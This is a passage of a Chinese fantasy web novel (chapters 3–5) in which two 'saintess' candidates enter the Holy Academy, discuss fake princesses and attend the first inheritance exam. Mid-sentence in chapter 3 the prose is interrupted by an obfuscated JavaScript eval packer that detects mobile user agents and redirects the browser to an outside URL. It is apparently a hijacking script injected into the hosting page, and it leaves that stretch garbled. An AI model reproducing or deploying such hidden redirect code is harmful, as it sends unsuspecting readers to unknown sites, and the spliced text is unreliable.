《召唤兽神,从部落圣女开始》 3. 圣女冠(三) 繁星行至偏殿。 有随侍的弟子告诉她,稍后会有人来引导她们入院。 殿中香炉青烟缭绕,繁星看过去,目光落在炉身。神秘的点状线条,弯折勾连——圣院的弟子可知道,他们圣院随意一只摆放的香炉,竟然就刻着天空的秘密? 可供传承的知识随意示人,这,便是圣院的底蕴与气派吗? “那叫星象仪,听说能用来观星……”细小又清脆的女声,带着一抹迟疑。 繁星缓缓转身,看见有两面之缘的云霞少女目光向她,一双眼睛又大又亮,在她看过来时,露出一分不好意思,“……不过观星的用途我也是听说的啦,这东西圣院到处都是,基本都当香炉来用。” 繁星没说话,云霞少女开始挠头,“是不是太突兀了,方才在殿外……” “我们见过。”繁星浅浅一笑,主动接过话头。 少女一顿,立马惊喜道:“对对对!在殿外——” “在茶楼。” 宁凤游瞪大眼睛,“真的是你!刘潭,他突然跌了一跤,是不是你……” 繁星却只微笑,不承认,也不否认。 宁凤游就当她默认了,态度更加热络起来,“怪不得在殿外我就觉得你眼熟,谢谢你帮我出气啊……我叫宁凤游,凤游九天的凤游。对了,我也被分在尾宫丁院!” 她说话的声音像百灵鸟,笑起来的样子有种欢快的讨喜劲。 “也?”繁星捕捉到这个微妙的字眼。 宁凤游一顿,跟着讪笑起来,“咳,刚刚报名的时候,我问了长老一下,这才知道的。” 好在繁星没有多问,只点头道:“看来以后就是同门了。” 顿了顿,看向宁凤游,认真道:“我是繁星。” 繁星。 繁星繁星! 宁凤游心中有种奇妙的感受,唇动了动,忍不住想说些什么。 恰在这时,殿外传来一道招呼声:“只有你们两位殿下?那跟我走吧,下一轮引导要在半个时辰后了。” 繁星看向门口,来人穿着执事服,腰间却悬挂着圣院弟子统一的青色玉牌,应当是弟子中负责新生入院的人员。 她们跟着这位师姐左转右转,往殿后方走。 宁凤游好奇道:“师姐,圣院在广场后方吗?” 行事很有风范的师姐看了她一眼,先说:“可不敢当殿下一句师姐。” 又道:“外头的祭坛、广场、无名殿,都不能代表真正的圣院。真正的圣院是什么样,只有圣院的弟子才知道。” 宁凤游心虚地笑了一下。 繁星坠在后面,目光随意地扫过宁凤游的脸。她已经几次发现这位叫凤游的圣女露出这种神情了。 每当别人说起她的身份,或是她自己想起自己的身份,都要这样笑一下。 繁星忆起那天草包男子的话,平静地想,假圣女吗? 宁凤游在这时回头,眨眨眼睛,给了繁星一个充满暗示的眼神。 繁星一开始没懂,但看她后面的行动,懂了。 宁凤游热情地勾住了前头师姐的胳膊,摇了摇说:“师姐,你是专门负责第五宫弟子入院的吗?这些天,应该很忙吧!” 原来,这是在打探消息。 师姐说:“当然啦,以往圣院可没这个第五宫,如今招生,来的都是各国殿下,金尊玉贵的,也不敢怠慢,它宫弟子还能叫他们等等,统一做个入院引导,换成第五宫殿下,就不太合时宜了,只能叫我们这些人一趟趟跑。” 宁凤游赶紧说:“师姐辛苦。”用一番好话逗得师姐笑起来,才又说,“说起来,三国有这么多殿下吗?报名的时候圣院好像也没做什么筛选啊?” 师姐看了宁凤游一眼,意味深长地说:“报名只是记录一下名单,真正的考核,可还没开始呢。” 宁凤游听话听音,用手挡住嘴,小声说:“师姐可是得了内幕消息?” 师姐不语,往后看了一眼,见后面那位风仪格外出众的圣女抬起眸,似乎也对这个问题上心。 想了想,索性卖个好。这帮第五宫殿下们不论真假,也不是她轻易能得罪的,后头那位不消说,便说拉着她问东问西的这位,看着一点圣女架子也没有,焉知后头没有家族势力作保。 这帮敢来第五宫挣前程的“殿下们”,没有一个是简单的。 遂轻飘飘道:“也不算什么内幕,反正你们不久后就会知道,先告诉你们也无妨。” “报名不做筛选,是因为要筛人的考核全在后面。两位殿下即将要面对的第五宫第一轮正式考核,就安排在报名结束的三天后!”师姐在最后几个字上加了重音。 三天后! 宁凤游惊愕地顿住脚。 师姐勾唇一笑,却转身,伸臂朝侧前方一指,“到了。” 一直静默聆听的繁星抬眸,看到一方高耸的白玉拱门,门内有蓝色漩涡状的空间入口,隐隐传来吸力。 “拿出你们的识玉。”师姐提醒,“以识玉为凭证,方可入得此门。” 繁星与宁凤游闻言,都将识玉拿到手中。不等她们反应,师姐猛然拉起两人的手,往门中一跃。 虚影变幻,人影流逝,再睁眼,已是另一番天地。 师姐的声音在耳畔响起,莫名给人震撼。 “这里才是真正的圣院。” “此界,又称天芒。” - 繁星站在天芒界,用力地眨了好几下眼,才看清眼前的场景。 她看到了数不清的,重叠的绿色,绿色掩映金黄,像画纸上晕开的色块,有些颜色氤氲重叠在一起,延绵而上,供立着群峰。最高的一座峰,直入云端,有撼天之势。 繁星隐约觉得峰顶有东西,却看不清,眼中金芒一闪,看到那座最高的峰顶上有一座殿,很像白玉广场上的那座,却更加恢弘。 祭坛扫得干净,却无拜祭的痕迹,最高处,有一座巨大的、正在旋转的星象仪,被太阳晃出一道刺眼的光斑。 看到此景,繁星的第一想法是:此地,正适宜观星。 收回目光,发现师姐不知道什么时候召出了她的幻兽。 旁边的宁凤游很有活力地惊呼:“哇,师姐,这是你的幻兽啊?是鹰?” “是猎风鹰。”繁星开口,走上前,站到一个适合近距离观看,又不会引起猎风鹰警惕的位置,“猎风鹰移速极快,喜欢逐风,多出现于荒原之上。用来代步极佳,唯一的缺点就是,太凶——” 繁星在凶这个字上加了重音,宁凤游刚伸出去的手抖了一下,讪讪收了回来。 师姐意外看了繁星一眼,“殿下说得不错,猎风鹰在鹰类中都属于最凶猛的一种,除了契主,旁人最好不要随意靠近。” 说着从随身携带的荷包里捏出一把像是鹰粮的东西,递到大鹰嘴边。似乎哪怕是主人,要它干活,也是要给好处的。 结果大鹰今日似乎心情不错,没吃鹰粮,也垂下了一边翅膀。 “咦,师姐,它的脾气,似乎也没你说得那么糟嘛。”宁凤游惊奇。 师姐心里意外,倒也没说什么,只道:“时辰不早,先上去吧,我送你们到住的地方,一会儿还要负责下一轮引导。” 猎风鹰拔天而起,呼呼掀起一道大风,它背上载着三人,急速在密林上空飞行。 古木尖顶急速倒退,只是猎鹰背上却很平稳,师姐细心,以灵力罩牢牢护住了身后的两位殿下,为其挡风。 繁星站在鹰背上,如履平地,她开口:“多谢师姐。” 因为要撑灵力罩,师姐保持着结印的姿势,闻言看了眼繁星。 她看到繁星纯然无一丝矫饰的红袍因风微微浮动,悬在腰间的组佩却纹丝不乱,她的冠因光晃出一种璀璨之色,可她的神态又是那么冷然。 师姐竟然没由来的感到紧张,她别开头,背对着繁星,笑了笑说:“不用谢我。你们是殿下,引导殿下入院,本就是我的职责。” “哦?那师姐可有指点?”繁星说。 宁凤游在鹰背上站不稳,此时正揪着大鹰的羽毛。她听了繁星这句,倏然抬起头,在心里咂舌——好直接啊我的殿下! 师姐愣了愣,沉吟一番,当真指点了。 “圣院没有什么忌讳,只一点,就算你是三大神国的圣女,来了圣院,也要守圣院的规矩。” “规矩之下,什么国仇家恨,打架寻衅,圣院一律不管。” 繁星还未说话,旁边的宁凤游却啊一声,“打架不管?那杀人管吗?” “只要规则允许。”师姐说。 啊?这岂不是连人身安全都得不到保障?哥也没说圣院生活有这么险恶啊。 宁凤游觉得有哪里不对,稀里糊涂问了一句:“那圣院允许杀人吗?” 繁星细微地翘起一边嘴角,师姐在宁凤游紧张的注视下,戏谑地拖长了音调:“——不允许啊。” 宁凤游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977435|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……”这不逗人玩呢。 “师姐的意思,圣院奉行绝对中立。来了圣院,只需守好圣院的规矩,旁的,圣院自不会干涉。”繁星给宁凤游解释。 她没说的是,这其中的尺度分寸,就很叫人深思了。 因为规矩是死的,而人是活的。 宁凤游没听出言下之意,只觉得刚刚不明了的思绪,一下子豁然开朗了,遂转头亮晶晶地看着繁星。 师姐则郑重地看了繁星一眼,似乎要记住她的样子。 “殿下敏慧。”收回目光,最终也只评价了这么一句。 植被移速变慢,待到重新落脚,是一处半山院落群。 一座座被灰色石墙围着,带天井的院落布局整齐,石墙爬满绿藤,开出粉紫的花,别有意趣。 “这里,就是第五宫弟子的宿舍。”师姐给了猎风鹰一把鹰粮,转头对二人说。 繁星眸光扫过石墙上挂着的铜牌号码,一零一,而她的对门,是一零二。 “师姐,我们是住一起,还是……”怕会错意,繁星还是问了一句。 师姐很有深意地微笑:“第五宫的所有弟子,哪怕是暂定,也是独门独院。” 宁凤游摸着绿藤的手一抖,几瓣粉花扑簌簌掉落下来。该说真不愧是“殿下”的待遇吗,可这弄得她更心虚了啊。 宁凤游不知出于什么心理,问了一句:“那我们能一直住在这儿吗?” 师姐:“只要你们不被淘汰。” 说完看了眼天色,“时辰不早,我该去引导别的队了。” 杵在一旁,比院墙还高的猎风鹰正好吃完鹰粮,昂起脑袋时,威风凛凛。师姐跳上猎风鹰的背,在离开前,留下最后一句忠告。 “第五宫的第一轮考核,考验传承,届时三大神国的殿下齐聚,还请二位慎重对待!” 猎风鹰尖锐的竖瞳看了一眼繁星,清唳一声,振翅而起。 待到狂风平息,这里就只剩繁星和凤游了。 宁凤游抱胸托着下巴,正在凝眉想着师姐的话:“第一关就教考传承?那怕是要筛掉一半的人哦……” 繁星从自己院落的铜牌上收回目光,嗯了一声,“怎么说?考验传承有什么不对吗?既是圣女,理应掌握传承啊。” 宁凤游托腮的胳膊肘一滑,扭头看繁星,见她一脸清澈的疑问,顿时尴尬起来。 这……要叫她怎么说。 圣女圣子的说法,是从上古各巫族流传下来,被后世引用的。 巫族本就沟通天地神灵,被神灵赐予了巫术传承,而一族的圣女,自然就是能掌握传承核心,未来继承祭司之位的人。 照这个说法,圣院第一关就教考传承,实在天经地义,再顺理成章不过。 可事情的关键点就在于,圣院报名第五宫的殿下们不正常啊! 多少带点虚头巴脑的成分,还是晃一晃能听出水声的那种。 这种情况,圣院上来就考传承,简直就是不给人留活路。 “嗐,大概是因为,这年头的传承都不好学,哪怕是圣女,也会有压力吧。”宁凤游想了半天,也只能给出这么个蹩脚的解释。 “宁姑娘对传承考核没信心吗?”繁星心知肚明,却仍然问道。 “咳,信心嘛,应该有吧。”明明是肯定的回答,却被宁凤游说得充满迟疑,她挠挠头,赶紧转移话题,“对了,我住一零二,以后就是对门了,你可以叫我凤游呀,我叫你繁星。可以吗?” 说话的时候,宁凤游抬眸,觑了一眼繁星的神色。 她有些紧张,因为繁星看着就跟她这样的“圣女”不同,她厚脸皮的亲近,可能会招来对方的厌烦。 结果繁星微微一笑,喊:“凤游。” 好奇怪,明明只是一个寻常的称呼而已,有很多人喊她凤游,可宁凤游却第一次听出了不一样的意味。仿佛这两个字被繁星喊来,就莫名雕琢上了郑重。 她有些怔然,脱口而出:“繁星,你看起来好厉害。你应该对传承应该很有信心吧,你的传承是什么呢?” 话出口,宁凤游就后悔。 也许传承对一个圣女来说不算什么忌讳的秘密,但也不适宜在刚认识的时候就这样大剌剌地问出来。 不成想,繁星回答了她:“星。” 宁凤游一愣。 繁星的目光落到宁凤游的脸上,跟着遥遥地望向天空。 她轻声说:“我的传承,是星。” 4.圣女冠(四) “我的传承,是星。” 星?有那么一瞬间,宁凤游几乎被繁星这平实的一句话给震住。 她首先想到的,就是此间最强大的巫术之一,周之星术。 传闻第一神国周氏,所承的巫术,就是星。 周之星术,也可以说是真正的神术,奥秘繁复,不可为外人窥也。 当然,周的星术固然厉害,可要说天下的星术只周一家,却也不是。 巫的存在,本身就是向神灵、向天地祈求力量。那么,任何一个普通的平头百姓,都能窥见的“日月星”,就成了最常见的祈求对象。 日月星术,乃是大类。 不是所有的星术,都能修到周人那般的境界。 “在想什么呢?”繁星看着宁凤游,眼眸平静。 “哈!”宁凤游一愣,回过神,“我在想,若繁星的传承是星,那这次考核,估计还真能过。” “怎么说?” “星可是神级巫术啊。”宁凤游用手挡住嘴,压低声音,“周你知道吧,四大神国之首,上古四神族之一……现在没了。周的传承就是星,也只有周能将星术修到神术的级别。” 这句话说完,宁凤游站直身体,嘴角微微翘起:“所以届时,只要繁星的基础术式修得好,就谁也没法儿否定你的传承,这考核,可不就稳稳过啦!” 繁星完整洞察了宁凤游的神情变化。 提起周字,乃至周族,宁凤游有些害怕,像是字句中含着什么忌讳。然而害怕之余又有些兴奋,因为行禁忌之事总能给人带来刺激的快感。直到禁忌说完,她才放松下来,言语重新恢复自然。 繁星的思绪,正如此刻的清风,转瞬即逝。她一笑:“如此说来,这还是个取巧之法。” 结果宁凤游摇摇头,“才不是嘞!所有的神级巫术,入门难度也是神级的。能学会的,要不就是天赋极佳,要不就是机运过人,要不,就是特殊的环境下,以命搏之。” “旁人有这投机取巧的功夫,去练练自己擅长的,还更容易过些。” “所以此法,还真只有繁星能用。”她双手叉腰,言语中带着诚心实意的赞叹。 迎着宁凤游亮晶晶的注视,繁星轻提嘴角。 “那就借凤游吉言了。”繁星说。 二人各自回到自己的院中收拾东西。 这是一个一进带天井的院子,有主卧和东西厢房。繁星进主卧,推开窗,院后是竹林,穿堂风过,有沙沙的响声。 环顾一圈,繁星将佩刀放在桌上,拿出长老给她的青色玉牌。 “此为识玉,是在圣院生活的重要依凭……”繁星脑中闪过长老提醒她的话,摩挲一番,正要研究这玉怎么用,耳朵一动,听到笃笃的响声。 有人在敲院子外面的门。 神识漫出,看见宁凤游将脑袋伸进虚掩的门内,像出洞的老鼠一样左顾右盼,却不进,而是扣着门上铜环,大声喊:“繁星,繁星!” 等到繁星走过去,宁凤游对着她咧嘴一笑,声音又小了。 “咳,繁星,识玉你会用不会,我来教你啊。” …… 圆形悬窗映出宁凤游明媚的身影,窗外竹影丛丛,应和她轻快的声音。 “呐,先将识玉贴在眉心,灵识注入,这一步,叫启。” “启过的识玉,才能开展完整的功能。” 宁凤游目光所及的繁星,坐在桌边,正拿着识玉,往眉心上贴。 “看见了吗?”宁凤游翘起嘴角。 “嗯。”繁星的意识已经在识玉中,“有一道巨大的兽影,还有五道青铜门。” “哦,那个是咱们圣院供奉的神兽太虚大人啦,你拜一拜,然后选尾宫大门,推开就好!” 识海中,繁星的视线落在第五道门上。前四道分别刻字“角、房、心、尾”,只有第五道门无名。 这无名之门,大概就是代表暂且还未组建完成的第五宫吧。 繁星如此做想,朝模糊的虚影巨兽一拜,推开尾宫大门。 “看见什么了?”宁凤游抱胸,声线轻扬,“是不是有好多字啊?那个,叫帖子。” 良久,繁星嗯一声。她确实看见了好多字,密密麻麻,像是另一个世界。 【我听说有好几个假殿下分进我们尾宫了?】 【收到小道消息,第五宫的第一次考核要开了,他宫弟子可以观礼,现在就能去掌师那儿报名了!名额先到先得,分完截止,速去!】 【观礼是不是能看到三大神国的殿下们呐?】 【想看纪灵焰和有容圣子的真容】 【……】 这就是宁凤游说的帖子?似乎可以用意识点开,看里面讨论的内容? 繁星粗略扫了一眼,绝大多数帖子都在讨论第五宫以及神国殿下的事,偶尔夹杂着真假殿下的奇怪声音。 繁星退出意识沉浸,拿下眉心贴的,已经被捂得温热的识玉。 想了想,繁星说:“我看很多人都在讨论什么真假殿下。” 繁星并不意外第五宫有假殿下浑水摸鱼的事。因为与宁凤游初遇时,她就从那个草包男子口中听到了“假圣女”的说法。 真正叫繁星感觉微妙的,是在圣院的官方帖子中,真假殿下之事竟然被如此广泛地讨论。 ——这是可以光明正大谈论的吗?如此避忌的事,怎么弄得像是人尽皆知? “真假之说,由何判定?”繁星半是不解,半是试探地说。 这问题一出,繁星意料之中地看到,宁凤游的神情眨眼从自然变为僵硬。她的眼睛实在不能很好地掩饰情绪,导致繁星都能直观她的挣扎。 “咳,这真假嘛……”宁凤游吞吐,一会儿看繁星,一会儿看地面,像是陷入了巨大的挣扎。 这挣扎着实有种隐秘的壮烈,她像是终于下定决心,狠狠握拳,双眼一闭,大声道:“我就是他们口中的假殿下!” 像是一下子卸下了什么难以承担的重任,宁凤游的神情中带了破罐破摔的意味。 “真正的殿下,是要有神殿颁布的玉圭认证的。”罐子摔完,语气就沮丧低沉了。 没听到回音,宁凤游忍不住抬眸,觑了觑繁星的脸色,确认她没有露出鄙夷之色,才稍微放松了些,坐到繁星旁边,继续解释:“一年前,圣院放出风声,开设第五宫,邀各神国、城邦、古族世家的圣女圣子前往中州求学,探索神明之秘。” “你知道跟神灵有关的事务总会引起追捧,况且这次三位神国殿下都会来第五宫入学,事情定然做不得假,那外界一些家族,可不就得闻风而动,暗中……想些法子了。” 宁凤游声音越来越低,头也垂了下来,显然,她们宁氏,就是那些“暗中想法子”的家族之一。 繁星听完,想的并非是宁凤游身份的真假,而是她开始那句,圣院开设第五宫的理由,是“探索神灵之谜” 可明明祭司告诉她的是,“共探上古神国之谜” 一字之差,个中区别,可不是一点半点。 察觉到宁凤游正紧张地盯着她,几乎要露出灰败之色了,繁星才笑了笑,说:“凤游不必紧张,亦不用担心我会有什么不好的看法。因为……” “我也没有玉圭。” 看着宁凤游的眼眸因惊讶而睁圆,繁星面容平淡,“依照这个标准,我亦是他人口中的假殿下。” “我们,是一样的。” 宁凤游嘴巴张了张,“可是,怎么可能?” 繁星说:“根据凤游方才的话,玉圭要由神殿认证颁布,那么能获得玉圭的殿下,多有名有姓,做不得假。真假本就一目了然,凤游因何震惊?” “我震惊的不是繁星没有玉圭。”宁凤游挠头,“我震惊的,是繁星说自己是假殿下。” 她压低声音,莫名不好意思:“总感觉繁星与假殿下这个说法不沾边呢。” 繁星纵观宁凤游的神情变化,像看到了一只本该在天空遨游的鸟雀,受困于真假的泥潭。 污秽的泥水覆盖住它鲜艳的羽毛,自由的双翅套上了潮湿的枷锁。它不知道,只要稍微冷静下来,学会使用天空的视角,就会发现,这潭泥水是如何浅薄脆弱,只要拿出与风搏击的力量,稍微振翅,就能挣脱而出。 繁星并不爱多话,此时却忍不住说了一句:“先有巫在前,才有殿下在后,能判定真假的神国玉圭更在其后。可见,真的不一定真,假的也不一定假。” 宁凤游缓缓抬起头,怔怔地注视繁星。她看了半天,莫名其妙说了一句,“繁星,你是在安慰我吗?” “你看我像安慰吗?”繁星语气平淡。 “你不像,你像在说个事实。”宁凤游迟疑地说。 繁星提唇,“所以,我是在告诉凤游,这世间的秩序并没有那么固定。阴阳可以轮转,凤游现在是‘假’,以后,却未必做不得‘真’” “所以,繁星是说我以后会成为真殿下吗?”宁凤游打了鸡血似的直起身,眼睛亮得像灯笼。 “我知道繁星是想告诉我不要执着于真假,我知道我知道……可我还是想知道,繁星刚才的话真不真!” 她眼含期待,双手合十,可怜兮兮地做出祈求的动作。 繁星一愣,跟着笑了,笑容比之前的任何一次都要大。 她对宁凤游有了全新的认识,通过宁凤游,她直观地看到了,何谓鲜活,何谓真实。 繁星叹息着,重重点头,说: “真!” 有了这一句真,宁凤游整个下午都处在高亢兴奋的情绪中。她自己的院子不回,像糊了米浆似的黏在繁星的院子里。 她教繁星识玉的用法,给她科普圣院的常识,还带着繁星刷识玉中的帖子。直至天黑,才依依不舍地离去。 如此持续三日。 第三天,繁星于清晨在院中练了一套刀法,练完换了身衣衫,迎着晨光,推开院门。 今日,是第五宫第一次考核开始的日子。繁星心情平静,并不因即将到来的考核而有任何紧张。 门开,繁星一愣,宁凤游竟然已经站在门口等着了。 “繁……咦?” 宁凤游本来想抬手打招呼,看见繁星的样子后一愣,跟着目光精准地落在她眉间新出现的珠串额饰上。松绿与朱红的配色,映衬着繁星深湖一样的眼。古朴与神秘的气息扑面而来。 “繁星,你今天的装扮好特别哦~”宁凤游上看下看,稀奇道,“好看,又正式……但又不像第一天报名时那么正式。” 繁星神情倒很自然 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若说最特别之处,便是花的花蕊,危险扎眼的墨黑亮黄,拼成一个诡异的图案,让整朵花环的气质,瞬间变得华丽诡谲起来。 “这是,某种高阶幻植的茎?”繁星自有眼力,立马做出猜测。 宁凤游刚把花环戴好,闻言有些惊讶地抬眸:“哇,繁星,你一眼就看出来啦?对,这是我娘亲给我的,应该可以充当圣女礼饰中的颈饰吧!” 所有礼饰中,通常冠类最为重要,有严格制式要求,只有圣女和祭司之职才能佩戴。 而宁凤游悬挂在颈上,充当颈饰的花环,一般无有特殊含义,只用来表达个人特点。 繁星认真看了几眼,点头:“如果你是幻师,且契约的幻兽也是幻植的话,就完全没问题。” 宁凤游笑了下,拉着繁星往考核的方向走,“没错,就是你想的那样。我不是巫,我是幻师。” “我所契的幻兽,也正是幻植!” - 第五宫的考核地点设在云峰,那是圣院最高的几座群峰之一,以常年冰雪不消,云雾缭绕得名。 繁星和凤游到达云峰之顶的时候,山顶天台竟然已经围有相当的人了。 这些人的站位也颇有讲究,一部分穿着圣院弟子服饰,当是来观礼的。 他们当中,有些腰悬识玉,神态怡然; 有些将识玉捏在手上,手指翻飞,一副兴奋之色,某一时刻,甚至要笑着发出两声诡异的“呵呵”声。 根据繁星这几天被宁凤游带着刷识玉的经验,他们要不是在跟同门聊天,要不就是在刷各宫的帖子。 而另一部分站得更靠近天台内围的人,看起来就更特殊一点。 他们并不穿普通的圣院弟子服,大多衣着都很有特点,贵重之中,不乏各种礼饰的点缀。 唯一相同的就是神态。傲然自持,眼神带着不动声色的打量,彼此之间各间隔一定距离,少有抱团。 显然,这些人不以同伴自居,更多是把身边的人当成竞争者。 繁星一眼扫过,迈步上前,无视瞬间落到身上的打量目光,择了天台内围一个不里不外的位置,抱胸站定。 宁凤游目光追随繁星。 她看繁星走到那群圣子圣女中间,像鱼入了水,天经地义,无可置疑。 某种力量让宁凤游顿住脚,不敢上前。 繁星站好时,看见宁凤游竟然没跟上来,朝她投去一个疑惑的目光。 像是再说,你怎么不来呢?凤游。 这一眼,就让宁凤游落定。像有人牵住了摇摆的风筝线。 宁凤游握住颈间的花环,在心里疯狂默念:我有礼饰我有礼饰,我跟他们一样,我也是圣女。 宁凤游再不犹豫,坚定上前,与繁星并立。 “凤游是担心吗?”繁星目视前方,语调却温柔。 宁凤游用力摇头。繁星的目光像利刃,她总觉得她能洞察她的所有情绪。 这让宁凤游感觉羞耻。 她已决意用繁星的目光督促自己,不敢迟疑,或是迟疑得太多。 没听到回声,繁星侧头看了宁凤游一眼,正要说什么,她却猛然攥住了自己的胳膊。 嗯? 不等繁星问,人群中骤然掀起的惊呼声,已然告知了她答案。 “好多鸟!天边有群鸟飞来了!鸟群中心有火光——是纪灵焰!” “纪国圣女纪灵焰!” 火光由远及近,穿云而来,带着尖利的破空声。像该有一场撼天彻地的炸裂,才能匹配这般的声势。 然而当真落地,不过一尾红色裙摆,一道夺目的华丽身影。 群鸟随后而至,绕云峰啼鸣,盘旋三圈,才算离去。 宁凤游震撼地看着这场景,嘴中喃喃:“这就是神国圣女的排面嘛,好拉风哦~繁星繁星,你看到了吗?”宁凤游摇晃繁星的胳膊。 繁星背直如尺,身形不动,未被摇晃的右手,快于她的大脑,握住了腰间的弦月弯刀。 上神国周氏,为下三国联手剿灭。 其中,又以纪国为首。 刀锋轻鸣,含着不知名的躁动。繁星摁住刀柄,举目望去。 恰在这时,天台中心的红色背影,也缓缓转过身来…… 5.圣女冠(五) 自当是美的。 然而纪国圣女之美,不过是她最不值一提的优点。 她束高冠,缀以金饰,颈上一圈猎猎红火,是她纪灵焰最鲜明的标志。 她下巴微抬,长睫黑瞳,神情睥睨傲然。 神火中最骄傲昂扬的一束,便立在于此。 围观的圣院弟子回过神来后,纷纷行礼。哪怕是圣女圣子队伍中,也有一些人行遵神礼,在肩两侧及额头连点,摁胸垂首,以示尊敬。 宁凤游也本能地想弯腰行礼,余光却看见繁星动也不动,生生止住了动作。 纪灵焰的目光从不放在行礼这种无关紧要的小事上,她转身看向云峰祭殿,恰在这时,殿中正好走出人来,想来是刚收到消息。 是角宫的一位掌师,看见纪灵焰,也不过微微一躬,道:“殿下稍待,待人来齐,便会开始。” 纪灵焰嗯一声,形状像某种鸟类的眼瞳却看向云层的某个方向,扬声:“即来了,为何不现身?” 那云头一闪,竟奔走下一只迅猛巨虎。细看,虎头上立着一个人影。 人影点地,金玲作响,妖娆曼妙的女子立于猛虎旁,浑身蜜铜色,眼睫妩媚一抬,眸中流转的,却非柔情,而是堪比洪荒巨兽的危险与野性。 鲁国圣女鲁擒虎。 “你纪灵焰出场,自是要独占全场人的目光,我年长你一轮,让让你又何妨。”浑不在意的语调,鲁擒虎随意一个姿势,靠在身后的巨兽上,已经让一些青涩的圣院弟子,涨红了脸,几乎不敢看她。 纪灵焰眯了眯眼,二话不说,颈上神火瞬间膨大一倍,危险地转动起来。 热浪呈波状震开,一些弟子反应不及,瞬间被击倒。宁凤游刚抱住头,发现她身前不知道什么时候凝了一道金色护罩。 侧头,发现金光来源于繁星纤长并拢的指尖,而她本人正目视天台中央,仿佛这样瞬间撑起的护罩,于她而言,不过随手而为的小事。 宁凤游眨巴着眼睛,崇拜地看着繁星,感觉这一刻,她比神国的两位殿下都要帅。 台中心,两位圣女已然剑拔弩张,眼看着就要打起来。 圣院弟子面面相觑,不知道要不要去请示掌师——刚才明明出来得很及时,怎么这会儿就不见人影了? 祭殿内,房宫宫主朝悬窗外看了一眼,拍了拍折扇,“要打起来了,真不管吗?” “关咱们什么事儿?打起来才好呢!”尾宫宫主云野一边说,一边从怀中掏出一个油纸包着的包子,一口塞嘴里,“早膳还没吃呢。” 心宫宫主见不得她这邋遢样子,索性侧身,眼不见为净。 “徐有容到了,打不起来。”靠在窗边,正看着外面的角宫宫主道。 “嗷?那人岂不是来齐了,我得赶紧吃。”云野将剩下的包子全塞嘴里,噎着了,还拿水顺顺。 天台上,妖娆笑着的鲁擒虎,嘴角已有危险的痕迹。 她身旁的斑斓巨虎低伏前肢,危险地呲出利齿。 纪灵焰冷哼一声,伸手一拽,环在颈上的神火瞬间甩成一道长鞭,打在空中,发出啪一声响。 这回的圣院弟子已经学机灵了,空出老大一个圈,还有些乘着幻器浮在天上,就怕被战火波及。 宁凤游悄声问繁星:“咱躲不躲?” 繁星说:“不用躲,有人来了,打不起来。” 手指一个方向。 一开始宁凤游以为繁星说的是宫主们出来了,结果看她动作,竟是指向了崖边。 同一时间,纪灵焰和鲁擒虎同时朝崖西侧看去。 西侧方向忽地有人尖叫一声,他嗷地一声跳到同伴身上,跳起来的空档,脚边密密麻麻爬过一堆虫,像淌过一摊蠕动的黑水,正好让路了。 纪灵焰蹙眉:“我讨厌虫。”话音未落,一鞭已经甩出去。竟不是朝鲁擒虎的方向,而是向虫堆。 虫堆聚集,供立起一道人形。 人形淡漠地夹住袭来的火鞭,“圣女,还请礼貌些,莫伤了我的小虫。” 纪灵焰甩臂一抖,火鞭像灵蛇一样弹回,首尾相衔,重新化为火环。 “故弄玄虚,看了半天戏,被我烧死,也是活该。”话虽如此,却收了手,好似不准备打了。 宁凤游惊奇:“她们真不打了耶!” 繁星说:“本来就没打算打呀。” 若是真打,以那神火化鞭的威势,又怎会是这样轻巧的力度呢。 围观的圣院弟子本来见到三位殿下集聚,如临大敌,怕她们打起来,把云峰给掀了,没想这三人见面,互相嘲讽一番,竟就各自站定,再无后续了。 这样就结束了吗? 神国殿下们的想法,当真是难以琢磨呀。 便在这时,祭殿的大门才姗姗打开。大约是殿墙隔音效果太好,外面的动静,里头是一点没听见。 各宫的代表掌师在前头开路,坠在最后的,是四宫宫主。 繁星还见到了一个眼熟的人,是那天报名的主事长老。 房盛悦似乎就管第五宫的报名、考核琐事,等到四宫宫主坐定,他站出来开口了。 “诸位殿下久等了,圣院第五宫第一轮传承考核,这便开始。” 没有一句漂亮话,开场就直奔主题。 房盛悦抬手打出一道术法,天台最中心的圆盘竟然缓缓下陷,机关锁一样哒哒哒的声音过后,取原先的位置而代之的,是一尊玉雕兽像。 兽像看不出兽型,只有一个大致轮廓,唯一的显著特征,就是兽像爪下摁着一个圆球,像是兽像的玩具。 等到兽像完全出现,房盛悦竟然朝兽像深深一躬,行了一个尊神礼。 起身后道:“此为太虚大人的拟像,附有太虚大人的一丝灵识。” 围观的圣院弟子嗡嗡地响动起来,简直就想上去参拜了。就连三国殿下,神情也有些微动,看着兽像,不敢轻慢。 房盛悦抬手往下一压,人群安静下来后,朝兽像打出一道术法。 太虚大人的拟像一亮后,兽口张开,竟吐出一个黑亮的圆球。 房盛悦道:“此为陨铁,没什么别的特点,呵呵,就是坚硬。刀/枪不入、水火不侵,一般用作神兵幻器的基底材料。” “此物,作为传承考核的辅助判断之用。” “待到考核开始,各位殿下便上中心圆台,在太虚大人的见证下,施展传承。之后四宫宫主会根据殿下们的施术表现评定等级,为‘天地玄黄’四级。天为极,黄为末。最终的评级会由太虚大人亲定。” 说到这里,房盛悦呵呵一声,诡异地笑了: “若是宫主们的评级中出现一个黄等,或两个玄等,那便也不用太虚大人评判,今次便可离开了。” 下头的宁凤游一脸灰败,“完了,出现一个黄等就淘汰倒也罢了,说明修的术式实在不精,两个玄等也不行?那不就是最低只能拿一个玄,剩下的都得玄级以上才能过呗!” 繁星心里也在思量。 祭司对她的教养,一直都很严格,只是她在大荒,也没个参照标准,不知道祭司对她的要求,够得上那“天地玄黄”中的哪一级。 是全力出手,还是稍作保留?或者用个讨巧的法子? 繁星尚且如此,其他人就更不用说了。除了三国殿下,其余人,多少脸色都变了变。 第五宫的考核,竟比他们想象中得还要严格。 房盛悦将一圈人的脸色尽收眼底,继续呵呵:“若是殿下们没有异议,那咱们这传承考核,这便开始了?” 无人出声,坐在上首的角宫宫主挥袖点亮太虚,声如洪钟。 “那便开始。” 